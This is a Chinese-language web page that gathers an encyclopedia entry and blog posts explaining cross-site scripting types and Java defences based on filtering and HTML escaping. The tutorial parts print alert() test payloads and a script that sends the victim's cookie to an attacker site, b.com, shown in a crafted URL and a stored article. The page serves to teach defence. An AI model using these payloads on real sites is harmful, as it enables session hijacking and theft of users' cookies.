xss攻击 订阅
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 [1] 展开全文
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 [1]
信息
特    点
隐蔽性强、发起容易等特点
攻击手段
盗用cookie等
造成原因
程序漏洞
所属领域
计算机技术
中文名
跨站脚本攻击
外文名
Cross Site Scripting
XSS攻击简述
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection)。 [1] 
收起全文
精华内容
下载资源
问答
  • XSS攻击

    2019-09-27 11:09:58
    什么是 XSS 攻击手段 XSS 攻击 使用的是 JavaScript 脚本注入进行攻击 例如在提交表单后,展示到另一个页面,可能会受到XSS脚本注入,读取本地cookie远程发送给黑客服务器端。 XSS 攻击原理 使用 JS 脚本语言,因为...

    什么是 XSS 攻击手段

    XSS 攻击 使用的是 JavaScript 脚本注入进行攻击
    例如在提交表单后,展示到另一个页面,可能会受到XSS脚本注入,读取本地cookie远程发送给黑客服务器端。

    XSS 攻击原理

    使用 JS 脚本语言,因为浏览器模特让你支持脚本语言执行,如果在表单提交的时候,提交一些脚本参数,可能浏览器直接执行

    XSS 攻击防御手段

    像一些特殊字符,比如<、>如果不进行特殊字符处理的话,很可能受到 XSS 攻击
    用户如果提交 < 转换成 &lt;

    如何防御XSS攻击

    将脚本特殊字符,转换成html源代码进行展示。
    步骤:

    1. 编写过滤器拦截所有 getParamter 参数,重写 HttpServletWrapper 方法
    2. 将参数特殊字符转换成 html 原代码保存

    重写HttpServletRequestWrapper 防止XSS攻击

    // 重写HttpServletRequestWrapper 防止XSS攻击
    public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
    	private HttpServletRequest request;
    
    	/**
    	 * @param request
    	 */
    	public XssHttpServletRequestWrapper(HttpServletRequest request) {
    		super(request);
    		this.request = request;
    	}
    
    	@Override
    	public String getParameter(String name) {
    		// 过滤getParameter参数 检查是否有特殊字符
    		String value = super.getParameter(name);
    		System.out.println("value:" + value);
    		if (!StringUtils.isEmpty(value)) {
    			// 将中文转换为字符编码格式,将特殊字符变为html源代码保存
    			value = StringEscapeUtils.escapeHtml(value);
    			System.out.println("newValue:" + value);
    		}
    		return value;
    	}
    
    }
    

    SpringBoot启动加上@ServletComponentScan

    @MapperScan(basePackages = { "com.xiaoming.mapper" })
    @SpringBootApplication
    @ServletComponentScan
    public class App {
    
    	public static void main(String[] args) {
    		SpringApplication.run(App.class, args);
    	}
    
    }
    

    过滤器XssFilter

    @WebFilter(filterName = "xssFilter", urlPatterns = "/*")
    public class XssFilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
    
        }
    
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            //程序防止XSS攻击原理
            //1.使用过滤器拦截所有参数
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            //2.重写 getParamter 方法   HttpServletRequestWrapper
            //3.使用 StringEscapeUtils.escapeHtml() 转换特殊参数
            XssHttpServletRequestWrapper wrapper = new XssHttpServletRequestWrapper(req);
            //放行程序,继续往下执行
            filterChain.doFilter(wrapper, servletResponse);
    
        }
    
        @Override
        public void destroy() {
    
        }
    }
    
    展开全文
  • xss攻击

    2020-08-02 12:12:56
    xss攻击简介 XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。

    xss攻击简介

    XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
    常用的XSS攻击手段和目的有:
    1、盗用cookie,获取敏感信息。
    2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
    3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
    4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
    5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

    xss的攻击类型

    (1)存储型
    (2)反射型
    (3)DOM型
    1.存储型xss的攻击原理
    攻击者在页面上插入xss代码,服务器将数据存入数据库,当用户访问到存在xss漏洞的页面时,服务端从数据库中取出数据展示到页面,导致xss代码执行,达到攻击效果。
    2.反射型
    攻击者在URL中插入XSS代码,服务端将URL中的XSS代码输出到页面上,攻击者将带有XSS代码的URL发送给用户拥护打开后受到XSS攻击.
    3.DOM型

    攻击者在URL中插入XSS代码,前端页面直接从URL获取XSS代码并且输出到页面上,导致XSS代码的执行攻击者将带有XSS代码的URL发送给用户,用户打开后受到XSS攻击.

    xss练习
    在这里插入图片描述

    <script>alert(1)</script>
    <script>alert(2)</script>
    

    在这里插入图片描述

    在这里插入图片描述

    "><script>alert(1)</script>
    
    展开全文
  • XSS攻击及防御

    万次阅读 多人点赞 2013-11-29 18:35:23
    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的H...

           本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明。
           XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

    XSS攻击

           XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

    DOM Based XSS

           DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

           场景一

           当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似: 

    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

    <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

    <html>

        <head>

           <title>XSS测试</title>

        </head>

        <body>

           页面内容:<%=request.getParameter("content")%>

        </body>

    </html>

          我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?

    Stored XSS

           Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

           场景二

           a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
           Stored XSS漏洞危害性更大,危害面更广。

    XSS防御

           我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。

    完善的过滤体系

           永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

    Html encode

           假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

    less-than character (<)

    &lt;

    greater-than character (>)

    &gt;

    ampersand character (&)

    &amp;

    double-quote character (")

    &quot;

    space character( )

    &nbsp;

    Any ASCII code character whose code is greater-than or equal to 0x80

    &#<number>, where <number> is the ASCII character value.

          比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

    其它

           下面提供两种Html encode的方法。

    • 使用Apache的commons-lang.jar

      StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换

    • 自己实现转换,只转换部分字符

      private static String htmlEncode(char c) {

          switch(c) {

             case '&':

                 return "&amp;";

             case '<':

                 return "&lt;";

             case '>':

                 return "&gt;";

             case '"':

                 return "&quot;";

             case ' ':

                 return "&nbsp;";

             default:

                 return c + "";

          }

      }

       

      /** 对传入的字符串str进行Html encode转换 */

      public static String htmlEncode(String str) {

          if (str ==null || str.trim().equals(""))   return str;

          StringBuilder encodeStrBuilder = new StringBuilder();

          for (int i = 0, len = str.length(); i < len; i++) {

             encodeStrBuilder.append(htmlEncode(str.charAt(i)));

          }

          return encodeStrBuilder.toString();

      }

           (完) 

           本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明。

    展开全文
  • XSS 攻击

    千次阅读 2019-05-28 23:28:07
    XSS 也称跨站脚本攻击 (Cross Site Scripting),恶意攻击者往 Web 页面里插入恶意 JavaScript 代码,当用户浏览该页之时,嵌入其中 Web 里面的 JavaScript 代码会被执行,从而达到恶意攻击用户的目的。 一种比较...

    作为一个合格的 Web 开发工程师,必须遵循一个安全原则:

    永远不要信任用户提交的数据。

    XSS 也称跨站脚本攻击 (Cross Site Scripting),恶意攻击者往 Web 页面里插入恶意 JavaScript 代码,当用户浏览该页之时,嵌入其中 Web 里面的 JavaScript 代码会被执行,从而达到恶意攻击用户的目的。

    一种比较常见的 XSS 攻击是 Cookie 窃取。我们都知道网站是通过 Cookie 来辨别用户身份的,一旦恶意攻击者能在页面中执行 JavaScript 代码,他们即可通过 JavaScript 读取并窃取你的 Cookie,拿到你的 Cookie 以后即可伪造你的身份登录网站。(扩展阅读 —— IBM 文档库:跨站点脚本攻击深入解析 

    有两种方法可以避免 XSS 攻击:

    • 第一种,对用户提交的数据进行过滤;
    • 第二种,Web 网页显示时对数据进行特殊处理,一般使用 htmlspecialchars() 输出。

    Laravel 的 Blade 语法 {{ }} 会自动调用 PHP htmlspecialchars 函数来避免 XSS 攻击。

    • 防止 XSS 攻击的插件
    • HTMLPurifier

    使用白名单机制,名单上有的标签才会允许解

    展开全文
  • 今天小编就为大家分享一篇关于PHP如何防止XSS攻击XSS攻击原理的讲解,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
  • 什么是XSS攻击? https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB/954065?fr=aladdin 如何制作XSS攻击?如何防御XSS攻击? https://zhuanlan.zhihu.com/p/26177815 前端如何防止XSS攻击? ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 57,884
精华内容 23,153
关键字:

xss攻击